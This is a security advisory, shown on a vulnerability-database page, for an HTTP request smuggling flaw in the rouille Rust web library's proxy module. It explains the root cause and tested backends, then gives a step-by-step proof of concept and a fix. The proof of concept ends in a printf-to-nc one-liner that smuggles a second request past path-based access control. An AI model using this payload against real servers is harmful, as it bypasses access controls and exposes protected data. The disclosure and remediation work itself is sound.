Lucene search
+L

📄 rouille 3.6.2 HTTP Request Smuggling

🗓️ 29 Jul 2026 00:00:00Reported by Theodosis PaidakisType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 22 Views

Security advisory for rouille HTTP request smuggling enabling front-end access control bypass via proxy.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-67182
28 Jul 202616:18
attackerkb
cve
CVE
CVE-2026-67182
28 Jul 202616:18
cve
cvelist
Cvelist
CVE-2026-67182 Rouille 0.3.3 - 3.6.2 HTTP Request Smuggling via proxy Header Injection
28 Jul 202616:18
cvelist
debiancve
Debian CVE
CVE-2026-67182
28 Jul 202616:18
debiancve
euvd
EUVD
EUVD-2026-49895
28 Jul 202616:18
euvd
nvd
NVD
CVE-2026-67182
28 Jul 202617:17
nvd
osv
OSV
CVE-2026-67182 Rouille 0.3.3 - 3.6.2 HTTP Request Smuggling via proxy Header Injection
28 Jul 202616:18
osv
osv
OSV
DEBIAN-CVE-2026-67182
28 Jul 202617:17
osv
ptsecurity
Positive Technologies
PT-2026-65542
28 Jul 202600:00
ptsecurity
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-67182
29 Jul 202600:00
nessus
Rows per page
# Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
    
    **Assigned CVE ID:** CVE-2026-67182
    
    ## Summary
    
    `rouille::proxy::proxy` and `rouille::proxy::full_proxy` copy client-supplied
    request header values into the upstream connection without checking them for
    control characters. A header value can legitimately contain a bare line feed
    (0x0A), because the underlying `tiny_http` header parser only ends a header line
    on CRLF. Backends that accept a bare LF as a line terminator therefore read one
    front-end request as two.
    
    The second request is fully attacker-controlled, including its method and path,
    and never passes through the rouille handler that decided to proxy the first
    one. Its response body is also returned to the attacker.
    
    ## Affected versions
    
    Repo URL: https://github.com/tomaka/rouille
    
    | | |
    |---|---|
    | First affected | 0.3.3 (2016-12-03), the release that introduced `src/proxy.rs` |
    | Last affected | 3.6.2 (2023-04-24), the current release |
    | Not affected | 0.3.2 and earlier, which have no proxy module |
    | Fixed in | no fixed version at time of writing |
    
    Every published release from 0.3.3 to 3.6.2 contains the unmodified code. The
    file `src/proxy.rs` is byte-identical between the 3.6.2 tag and the current
    `master` branch.
    
    Only applications that call `proxy::proxy` or `proxy::full_proxy` are affected.
    
    ## Severity
    
    CWE-444 (Inconsistent Interpretation of HTTP Requests), reached through
    CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers).
    
    CVSS 4.0 base score 6.9 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N`
    
    ## Threat model
    
    The attacker is a remote, unauthenticated client that can send raw HTTP to a
    rouille server. No credentials, no user interaction, and no position on the
    network between components are required.
    
    The deployment at risk is a rouille application acting as a reverse proxy that
    makes a security decision (routing, authentication, authorization, or content
    filtering) before calling `proxy()`, in front of a backend whose HTTP parser
    accepts a bare LF as a header line terminator.
    
    Measured backend behaviour:
    
    | Backend | Version tested | Accepts the injected LF |
    |---|---|---|
    | Go `net/http` | go1.26.4 | yes, serves the smuggled request |
    | Python `http.server` (`protocol_version = "HTTP/1.1"`) | CPython 3.13 | yes, serves the smuggled request |
    | Node.js | v26.3.0 | no, returns 400 (llhttp strict mode) |
    | PHP built-in server | 8.5.8 | no, drops the connection |
    
    nginx and Apache were not tested. RFC 9112 section 2.2 permits a recipient to
    recognise a lone LF as a line terminator, so the accepting backends are behaving
    within spec.
    
    ## Root cause
    
    `rouille/src/proxy.rs`, lines 157 to 174:
    
    ```rust
    157      for (header, value) in request.headers() {
    158          let value = if header == "Host" {
    159              if let Some(ref replace) = config.replace_host {
    160                  &**replace
    161              } else {
    162                  value
    163              }
    164          } else {
    165              value
    166          };
    167          if header == "Connection" {
    168              continue;
    169          }
    170  
    171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
    172      }
    173      socket.write_all(b"Connection: close\r\n\r\n")?;
    174      io::copy(&mut data, &mut socket)?;
    ```
    
    Line 171 is the sink. `value` is untrusted and is written with no validation.
    
    The taint enters through `tiny_http`. In
    `tiny_http-0.12.0/src/client.rs`, lines 80 to 102, a header line ends only when
    a LF follows a CR:
    
    ```rust
     92              if byte == b'\n' && prev_byte_was_cr {
     93                  buf.pop(); // removing the '\r'
     94                  return AsciiString::from_ascii(buf)
     95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
     96              }
     97  
     98              prev_byte_was_cr = byte == b'\r';
     99  
    100              buf.push(byte);
    ```
    
    A lone LF falls through to line 100 and is pushed into the line buffer. LF is
    valid ASCII, so `AsciiString::from_ascii` accepts it. `Header::from_str` at
    `tiny_http-0.12.0/src/common.rs` line 184 then only trims the value, which
    strips leading and trailing whitespace but leaves interior bytes alone:
    
    ```rust
    187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
    188          let value = elems
    189              .next()
    190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
    191              .ok_or(())?;
    ```
    
    The result is a rouille header value containing a raw `\n`, which line 171 of
    `proxy.rs` writes straight into the upstream request.
    
    `Connection: close` on line 173 does not contain the damage. The injected blank
    line ends the first request before line 173 runs, so that header is absorbed
    into the smuggled request. The first request carries no `Connection` header and
    defaults to HTTP/1.1 keep-alive, which is exactly what lets the backend go on to
    process the second one.
    
    ## Proof of Concept
    
    Step 1. Create a backend document root with a public file and a file the proxy
    is supposed to protect.
    
    ```sh
    mkdir -p /tmp/webroot/public
    echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
    echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
    ```
    
    Step 2. Start a keep-alive backend on port 8001.
    
    ```sh
    cd /tmp/webroot
    python3 -c '
    import http.server, socketserver, sys
    class H(http.server.SimpleHTTPRequestHandler):
        protocol_version = "HTTP/1.1"
        def log_message(self, f, *a):
            sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
    socketserver.TCPServer.allow_reuse_address = True
    socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
    '
    ```
    
    Step 3. Start the rouille front end on port 8000. It proxies `/public/` and
    refuses everything else.
    
    ```rust
    use rouille::{proxy, Response};
    
    fn main() {
        rouille::start_server("127.0.0.1:8000", |request| {
            if !request.url().starts_with("/public/") {
                return Response::text("forbidden").with_status_code(403);
            }
            proxy::full_proxy(request, proxy::ProxyConfig {
                addr: "127.0.0.1:8001", replace_host: None,
            }).unwrap()
        });
    }
    ```
    
    Step 4. Confirm the access control works.
    
    ```sh
    printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
    ```
    
    ```
    HTTP/1.1 403 Forbidden
    ```
    
    Step 5. Send a single request for the permitted path with a bare LF inside a
    header value. In the command below `\n` is a bare line feed and `\r\n` is a
    CRLF. The distinction is the whole attack, so do not let an editor normalise it.
    
    ```sh
    printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
    ```
    
    Result. The backend log shows two requests, the second one being the path the
    front end refused in step 4:
    
    ```
    [backend] "GET /public/index.html HTTP/1.1" 200 -
    [backend] "GET /admin.html HTTP/1.1" 200 -
    ```
    
    The attacker also receives the protected content, because `src/proxy.rs` line
    224 turns the remainder of the upstream socket into the response body:
    
    ```
    HTTP/1.1 200 OK
    Content-type: text/html
    Transfer-Encoding: chunked
    
    d7
    PUBLIC PAGE
    HTTP/1.1 200 OK
    Content-type: text/html
    Content-Length: 18
    
    SECRET ADMIN PAGE
    ```
    
    ## Impact
    
    An unauthenticated client can issue an arbitrary request to the backend and read
    its response, while the rouille handler only ever sees the permitted request.
    This defeats path-based access control, authentication performed in the handler,
    and any request inspection done before the call to `proxy()`.
    
    Two limits are worth stating. `proxy()` opens a fresh TCP connection per request
    and does not pool, so this does not give the cross-user request-queue poisoning
    associated with classic smuggling. The attack also needs an LF-tolerant backend,
    as measured above.
    
    ## Remediation
    
    Reject header names and values that contain control characters before writing
    them upstream. In `src/proxy.rs`, inside the loop at line 157:
    
    ```rust
    if header.bytes().any(|b| b < 0x21 || b == 0x7f)
        || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
    {
        return Err(ProxyError::HttpParseError);
    }
    ```

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 46.9
CVSS 3.17.5
EPSS0.00415
SSVC
22